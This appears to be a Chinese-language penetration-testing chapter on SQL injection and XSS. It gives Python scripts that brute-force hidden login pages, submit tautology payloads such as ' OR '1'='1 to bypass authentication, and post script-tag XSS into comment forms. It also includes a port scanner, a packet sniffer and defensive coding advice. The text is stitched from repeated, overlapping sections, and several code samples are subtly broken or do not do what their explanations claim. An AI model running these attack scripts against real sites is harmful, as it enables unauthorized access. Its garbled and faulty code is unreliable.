在現今網路環境中,Web 應用程式安全至關重要。本文將探討兩種常見攻擊手法:SQL 注入和跨站指令碼攻擊(XSS),並以 Python 程式碼示範如何執行滲透測試,包含自動化尋找登入頁面、SQL 注入測試、以及 XSS 攻擊模擬。同時,我們也會探討網路掃描技術,並提供使用 Python 和 Scapy 進行 TCP 埠掃描和網路嗅探的程式碼範例。最後,我們將提供一些安全編碼建議和防禦措施,協助開發者和資安人員提升 Web 應用程式的安全性,避免遭受攻擊。

SQL注入攻擊與跨站指令碼攻擊的滲透測試

在本章中,我們將探討一些對Web應用程式的嚴重攻擊。您一定聽說過諸如資料竊取、使用者名稱和密碼破解、網站篡改等事件。這些事件通常是由於Web應用程式中存在SQL注入和XSS攻擊的漏洞所致。在第8章《Web伺服器和Web應用程式的足跡》中,您學習瞭如何檢視正在使用的資料函式庫軟體以及Web伺服器上執行的作業系統。現在,我們將逐一進行我們的攻擊。

SQL注入攻擊簡介

SQL注入是一種技術,或者可以說是一種專家技術,它利用非驗證輸入漏洞來竊取資料。Web應用程式的工作方法如下圖所示:

客戶端在本地電腦上開啟網頁。主機透過網際網路連線到Web伺服器。如果我們的查詢未經驗證,則它將進入資料函式庫執行,然後可能會洩露敏感資料或刪除資料。

SQL注入攻擊的型別

SQL注入攻擊可以分為以下兩種型別:

  1. 簡單SQL注入:簡單SQL注入攻擊包含恆真式。在恆真式中,注入陳述式始終為真。聯合查詢陳述式傳回預期資料與目標資料的聯合。
  2. 盲注SQL注入:在這種攻擊中,攻擊者利用資料函式庫伺服器在執行SQL注入攻擊後產生的錯誤訊息。攻擊者透過提出一系列真假問題來收集資料。

使用Python指令碼進行SQL注入攻擊

所有SQL注入攻擊都可以手動執行。但是,您可以使用Python程式設計來自動化攻擊。如果您是一名優秀的滲透測試人員,並且知道如何手動執行攻擊,那麼您可以製作自己的程式來檢查這一點。

為了獲得網站的使用者名稱和密碼,我們必須擁有管理員或登入控制檯頁面的URL。客戶端不會在其網站上提供指向管理員控制檯頁面的連結。

尋找管理員控制檯頁面

我們的第一步是找到管理員控制檯頁面。過去,我曾經使用過諸如http://example.com/adminhttp://example.com/login之類別的URL。現在,Web開發人員已經變得更加聰明,他們使用不同的名稱來隱藏登入頁面。

假設我有300多個連結需要嘗試。如果我手動嘗試這樣做,可能需要大約一到兩天才能獲得網頁。

使用Python自動化SQL注入測試

您可以編寫Python指令碼來自動化SQL注入測試。這樣,您就可以檢查網站是否容易受到SQL注入攻擊。

程式碼範例

import requests

# 定義目標URL
url = "http://example.com/login"

# 定義payload
payload = {
    "username": "admin",
    "password": "wrong_password' OR '1'='1"
}

# 傳送POST請求
response = requests.post(url, data=payload)

# 檢查回應
if "Welcome" in response.text:
    print("SQL注入成功!")
else:
    print("SQL注入失敗!")

內容解密:

  1. 匯入requests函式庫:我們使用requests函式庫來傳送HTTP請求。
  2. 定義目標URL:我們定義了目標登入頁面的URL。
  3. 定義payload:我們定義了一個包含惡意SQL陳述式的payload,用於嘗試SQL注入。
  4. 傳送POST請求:我們使用requests.post()方法傳送POST請求,將payload作為資料傳遞。
  5. 檢查回應:我們檢查伺服器的回應,以確定SQL注入是否成功。

跨站指令碼攻擊(XSS)

跨站指令碼攻擊(XSS)是一種允許攻擊者在使用者瀏覽器中執行惡意指令碼的攻擊。XSS攻擊可以分為以下幾種型別:

  1. 儲存型XSS:惡意指令碼儲存在伺服器上,當使用者存取受影響的頁面時,指令碼就會執行。
  2. 反射型XSS:惡意指令碼包含在使用者提交的請求中,伺服器將其反射回應給使用者,瀏覽器執行該指令碼。
  3. DOM型XSS:惡意指令碼在客戶端執行,無需與伺服器互動。

使用Python進行XSS攻擊測試

您可以使用Python指令碼來測試網站是否容易受到XSS攻擊。

SQL 注入攻擊與 XSS 測試章節 9

自動化尋找登入頁面

在進行網站滲透測試時,尋找登入頁面是至關重要的步驟。以下是一個用於尋找 PHP 網站登入頁面的 Python 程式範例:

import shelve
import urllib.request
import http.client

url = input("Enter the URL: ")
domain = url.split('/')[2]
shelve_file = shelve.open("login_pages.db")
try:
    login_pages = shelve_file['login_pages']
finally:
    shelve_file.close()

http_connection = http.client.HTTPConnection(domain)
for page in login_pages:
    test_url = domain + page
    print(test_url)
    http_connection.request("GET", page)
    response = http_connection.getresponse()
    if response.status == 200:
        print("Found login page:", test_url)
        cont = input("Continue? (y/n): ")
        if cont.lower() != 'y':
            break
http_connection.close()

程式碼解析:

  1. 使用 shelve 模組來儲存和讀取預期的登入頁面名稱。
  2. 使用 urllib.requesthttp.client 模組來傳送 HTTP 請求。
  3. 程式會要求使用者輸入網址,並從中提取網域名稱。
  4. 遍歷 login_pages.db 中的登入頁面名稱,並對每個頁面傳送 GET 請求。
  5. 如果收到 HTTP 狀態碼 200,表示成功找到登入頁面。

管理登入頁面資料函式庫

為了管理 login_pages.db,我們需要一個額外的 Python 程式:

import shelve

def create_db():
    s = shelve.open("login_pages.db")
    s['login_pages'] = []
    s.close()

def update_db():
    s = shelve.open("login_pages.db")
    value = input("Enter the value: ")
    s['login_pages'].append(value)
    s.sync()
    s.close()

def retrieve_db():
    s = shelve.open("login_pages.db")
    for key in s['login_pages']:
        print(key)
    s.close()

while True:
    print("1. Create DB\n2. Update DB\n3. Retrieve DB")
    choice = input("Enter your choice: ")
    if choice == '1':
        create_db()
    elif choice == '2':
        update_db()
    elif choice == '3':
        retrieve_db()
    else:
        break

程式碼解析:

  1. 提供三個功能:建立資料函式庫、更新資料函式庫和檢索資料函式庫內容。
  2. 使用 shelve 模組來操作資料函式庫檔案。

SQL 注入攻擊

SQL 注入攻擊是一種常見的網路攻擊手段,尤其是在使用者認證環節。

根據恆真式的 SQL 注入

假設某網站的登入驗證程式碼如下:

$sql = "SELECT count(*) FROM users WHERE username='$username' AND password='$password'";

攻擊者可以輸入 ' OR '1'='1 作為使用者名稱和密碼,從而繞過驗證:

$sql = "SELECT count(*) FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'";

這使得查詢結果永遠為真,達到繞過認證的目的。

自動化 SQL 注入測試範例

以下是使用 Python 進行根據恆真式的 SQL 注入測試的範例程式碼:

import mechanize
import re

br = mechanize.Browser()
br.set_handle_robots(False)
url = input("Enter the URL: ")
br.open(url)
br.select_form(nr=0)
flag = 0

for form in br.forms():
    print(form)

user1 = input("Enter the username: ")
pass_exp = ["' OR '1'='1", "' OR 'a'='a", "' OR ''='", "' OR 1=1--"]
user2 = user1
for pass1 in pass_exp:
    br.select_form(nr=0)
    br.form['username'] = user2
    br.form['password'] = pass1
    br.submit()
    data = br.response().read()
    data1 = data.decode('utf-8', errors='ignore')
    list1 = ['Logoff', 'logout', 'logoff.php', 'logout.php', 'logoff.asp', 'logout.asp']
    for i in list1:
        if re.search(i, data1):
            flag = 1
            print("Successfull hit")
            break
    if flag == 1:
        print("Successful attempt")
        break

程式碼解析:

  1. 使用 mechanize 模組來自動化網頁表單填寫和提交。
  2. 對密碼欄位嘗試多種恆真式注入字串,檢查是否能成功繞過認證。

SQL注入攻擊與跨站指令碼攻擊(XSS)分析

簡介

本章節將探討SQL注入攻擊和跨站指令碼攻擊(XSS)的原理、實作方法及其防禦措施。透過理解這兩種常見的網路攻擊方式,開發者和安全測試人員可以更好地保護網路應用程式的安全。

SQL注入攻擊原理

SQL注入攻擊是一種利用應用程式對使用者輸入資料處理不當的漏洞,向資料函式庫注入惡意SQL程式碼,以達到未授權存取或操控資料函式庫的目的。攻擊者透過建構特定的SQL陳述式,可以繞過登入驗證、提取或修改敏感資料,甚至控制整個資料函式庫。

SQL注入攻擊實作範例

以下是一個簡化的Python指令碼範例,用於示範SQL注入攻擊的基本邏輯:

import requests

# 目標URL
url = "http://example.com/login"

# 使用者名稱和密碼輸入列表
usernames = ["admin", "test"]
passwords = ["' or '1'='1", "' or '1'='1"]

# 迭代嘗試登入
for username in usernames:
    for password in passwords:
        data = {'username': username, 'password': password}
        response = requests.post(url, data=data)
        # 檢查回應內容是否包含登出或登出相關字眼
        if "logout" in response.text.lower():
            print("Successful login attempt detected!")
            break

SQL注入攻擊防禦措施

  1. 輸入驗證與過濾:使用如PHP中的mysql_real_escape_string函式對使用者輸入進行過濾,避免特殊字元被誤譯為SQL語法的一部分。
  2. 引數化查詢:使用引數化查詢(Prepared Statements)可以有效防止SQL注入攻擊,因為引數值不會被當作SQL語法的一部分執行。
  3. 最小許可權原則:確保資料函式庫使用者僅擁有執行必要操作所需的最小許可權,限制因SQL注入導致的損害。

跨站指令碼攻擊(XSS)原理

跨站指令碼攻擊(XSS)發生於網路應用程式在未經適當驗證的情況下,將使用者輸入的資料嵌入到動態生成的網頁中,導致惡意指令碼被執行。XSS攻擊可導致使用者資料竊取、帳戶劫持等安全問題。

XSS攻擊型別

  • 儲存型XSS:惡意指令碼被儲存在伺服器上,當其他使用者存取相關頁面時觸發。
  • 反射型XSS:惡意指令碼透過URL引數等方式傳遞給伺服器,並在回應中反射給使用者瀏覽器執行。
  • DOM型XSS:惡意指令碼直接在使用者瀏覽器端透過DOM操作執行。

XSS攻擊防禦措施

  1. 輸入驗證:嚴格驗證使用者輸入的資料,過濾或轉義特殊字元。
  2. 輸出編碼:在將使用者輸入的資料輸出到網頁時進行適當的編碼,防止被瀏覽器解析為指令碼。
  3. 使用Content Security Policy(CSP):CSP可以限制網頁可以載入的資源,有效減少XSS攻擊的風險。

跨站指令碼攻擊(XSS)技術解析

跨站指令碼攻擊(XSS)是一種常見的網路攻擊技術,攻擊者透過注入惡意程式碼至網站中,讓使用者在瀏覽網站時執行惡意程式碼,從而竊取使用者資料或進行其他惡意操作。

XSS 攻擊型別

XSS 攻擊主要分為兩種型別:

  1. 持久型 XSS(Stored XSS):攻擊者的輸入被儲存在伺服器端,當其他使用者存取該網站時,惡意程式碼會被執行。
  2. 非持久型 XSS(Reflected XSS):攻擊者的輸入不會被儲存在伺服器端,而是直接在錯誤訊息或其他回應中傳回給使用者。

持久型 XSS 攻擊例項

以下是一個持久型 XSS 攻擊的程式碼範例:

import mechanize

br = mechanize.Browser()
br.set_handle_robots(False)
br.open("http://example.com/comment")

for form in br.forms():
    print(form)

br.select_form(nr=0)
br.form['name'] = 'XSS'
br.form['comment'] = '<script>alert("XSS")</script>'
br.submit()

br.open("http://example.com/display")
print(br.response().read())

程式碼解析:

  1. 使用 mechanize 函式庫模擬瀏覽器行為,存取目標網站的評論頁面。
  2. 列出頁面中的所有表單,並選擇第一個表單進行填寫。
  3. namecomment 欄位中填入惡意程式碼,例如 <script>alert("XSS")</script>
  4. 提交表單,並存取顯示評論的頁面,觀察惡意程式碼是否被執行。

防範 XSS 攻擊

為了防範 XSS 攻擊,開發者應該:

  1. 對使用者輸入進行嚴格的驗證和過濾,避免惡意程式碼被注入。
  2. 使用 HTML 編碼或轉義特殊字元,避免惡意程式碼被執行。
  3. 使用 Content Security Policy (CSP) 等安全機制,限制網頁中可執行的指令碼來源。

安全編碼例項

以下是一個安全編碼的範例,使用 PHP 語言:

$name = htmlspecialchars($_POST['name'], ENT_QUOTES);
$comment = htmlspecialchars($_POST['comment'], ENT_QUOTES);

// 將過濾後的資料儲存至資料函式庫
// ...

程式碼解析:

  1. 使用 htmlspecialchars 函式對使用者輸入的 namecomment 欄位進行 HTML 編碼,避免惡意程式碼被執行。
  2. 將過濾後的資料儲存至資料函式庫,確保資料的安全性。

第9章:SQL注入與XSS滲透測試

自動化XSS攻擊的實作

在前面的章節中,我們已經瞭解了SQL注入的基本原理和實作方法。在本章中,我們將重點放在跨站指令碼攻擊(XSS)的自動化實作上。XSS是一種常見的Web攻擊技術,攻擊者透過在網頁中注入惡意指令碼,從而盜取使用者資料或控制使用者瀏覽器。

程式碼解析

field = int(input("Enter the total number of form fields: "))
list_a = []
list_n = []

for i in range(field):
    name = input("Enter the field name: ")
    ch = input("Do you want to attack this field? (y/n): ")
    if ch.lower() == 'y' or ch.lower() == 'z':
        list_a.append(name)
    else:
        list_n.append(name)

for i in range(len(list_a)):
    att = list_a[i]
    # 填寫表單欄位
    print(f"Filling form field: {att}")

for i in range(len(list_n)):
    non = list_n[i]
    # 填寫非攻擊欄位
    print(f"Filling non-attack field: {non} with BBBBBBB")

內容解密:

  1. 輸入表單欄位數量:程式首先要求使用者輸入表單中的欄位總數。
  2. 區分攻擊與非攻擊欄位:透過迴圈詢問每個欄位的名稱,並詢問是否要對該欄位進行XSS攻擊。根據使用者的選擇,將欄位名稱分別存入 list_a(要攻擊的欄位)和 list_n(不攻擊的欄位)。
  3. 自動填寫表單:程式根據 list_alist_n 中的欄位名稱,分別填寫表單。對於要攻擊的欄位,填入XSS攻擊程式碼;對於不攻擊的欄位,填入普通字串(如 BBBBBBB)。

防禦XSS攻擊

為了保護網站免受XSS攻擊,開發者可以採取以下措施:

  1. 輸入驗證:對使用者輸入的資料進行嚴格的驗證和過濾,避免惡意指令碼的注入。
  2. HTML編碼:對輸出到HTML頁面的資料進行編碼,將特殊字元轉換為HTML實體(如 < 轉換為 &lt;),防止瀏覽器將其解釋為指令碼。
  3. 使用安全函式:在PHP中,可以使用 htmlspecialchars() 函式對輸出內容進行編碼,防止XSS攻擊。

網路安全與滲透測試技術索引

網路基礎與安全

網路安全涉及多個層面,包括無線網路安全、網路掃描、漏洞利用等。以下是一些關鍵技術和概念:

無線網路安全

無線網路安全是網路安全的一個重要方面。無線網路使用802.11框架進行通訊,涉及諸如接入點(AP)、認證請求和回應、關聯請求和回應等過程。

  • 802.11框架:無線網路通訊的基礎協定。
  • 接入點(AP):無線網路的中心裝置,負責管理網路連線。
  • 認證請求和回應:裝置與AP之間的認證過程。
  • 關聯請求和回應:裝置成功認證後,與AP建立連線的過程。

網路掃描與偵測

網路掃描是滲透測試中的一個關鍵步驟,用於發現目標網路中的活動主機和開放埠。

  • ICMP ECHO請求和回應:用於檢測主機是否活躍的基本協定。
  • TCP掃描:透過TCP協定檢測目標主機的埠狀態。
  • UDP掃描:透過UDP協定檢測目標主機的埠狀態。

使用Python實作網路掃描

import socket

def tcp_scan(host, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((host, port))
        if result == 0:
            print(f"Port {port} is open")
        sock.close()
    except socket.error:
        pass

host = "192.168.1.1"
for port in range(1, 1024):
    tcp_scan(host, port)

內容解密:

此程式碼實作了一個簡單的TCP掃描器。它嘗試與目標主機的指定埠建立TCP連線。如果連線成功,則表示該埠是開放的。

  1. socket.socket(socket.AF_INET, socket.SOCK_STREAM):建立一個TCP socket。
  2. sock.settimeout(1):設定socket的超時時間為1秒,以避免無限等待。
  3. sock.connect_ex((host, port)):嘗試與目標主機的指定埠建立連線。如果傳回0,則表示連線成功,即埠開放。
  4. sock.close():關閉socket,釋放資源。

SQL注入攻擊

SQL注入是一種常見的Web應用安全漏洞,攻擊者透過注入惡意的SQL程式碼來操縱資料函式庫。

  • 簡單SQL注入:最基本的SQL注入形式,攻擊者直接在輸入欄位中注入SQL程式碼。
  • 盲注SQL注入:當Web應用不直接顯示資料函式庫錯誤資訊時,攻擊者透過觀察應用行為的變化來推斷注入是否成功。

使用Python自動化SQL注入攻擊

import requests

def sql_inject(url, payload):
    try:
        response = requests.get(url + payload)
        if "error" in response.text:
            print("SQL Injection successful")
        else:
            print("SQL Injection failed")
    except requests.RequestException:
        pass

url = "http://example.com/vulnerable.php?id=1"
payload = "' OR '1'='1"
sql_inject(url, payload)

內容解密:

此程式碼演示瞭如何使用Python自動化一個簡單的SQL注入攻擊。

  1. requests.get(url + payload):向目標URL傳送GET請求,並在URL引數中注入惡意的SQL程式碼。
  2. if “error” in response.text:檢查回應文字中是否包含錯誤資訊,以判斷注入是否成功。

跨站指令碼攻擊(XSS)

XSS是一種常見的Web應用安全漏洞,攻擊者透過在Web頁面中注入惡意指令碼來竊取使用者資料或控制使用者瀏覽器。

  • 非永續性XSS(反射型XSS):惡意指令碼透過URL引數等方式傳遞給Web應用,並在回應中反射回使用者瀏覽器。
  • 永續性XSS(儲存型XSS):惡意指令碼被儲存在Web應用的資料函式庫中,並在使用者存取特定頁面時執行。

網路嗅探與分析

網路嗅探是一種監聽和分析網路流量的技術,用於監控網路活動和偵測潛在的安全威脅。

  • 主動嗅探:透過向網路中傳送特定的探測包來取得網路資訊。
  • 被動嗅探:僅監聽網路中的流量,不傳送任何探測包。

使用Python實作網路嗅探

from scapy.all import sniff

def packet_callback(packet):
    print(packet.summary())

sniff(prn=packet_callback, count=10)

內容解密:

此程式碼使用Scapy函式庫實作了一個簡單的網路嗅探器。

  1. sniff(prn=packet_callback, count=10):開始嗅探網路流量,並對每個捕捉的包呼叫packet_callback函式。count=10表示捕捉10個包後停止。
  2. packet_callback(packet):對每個捕捉的包進行處理,這裡簡單地列印了包的摘要資訊。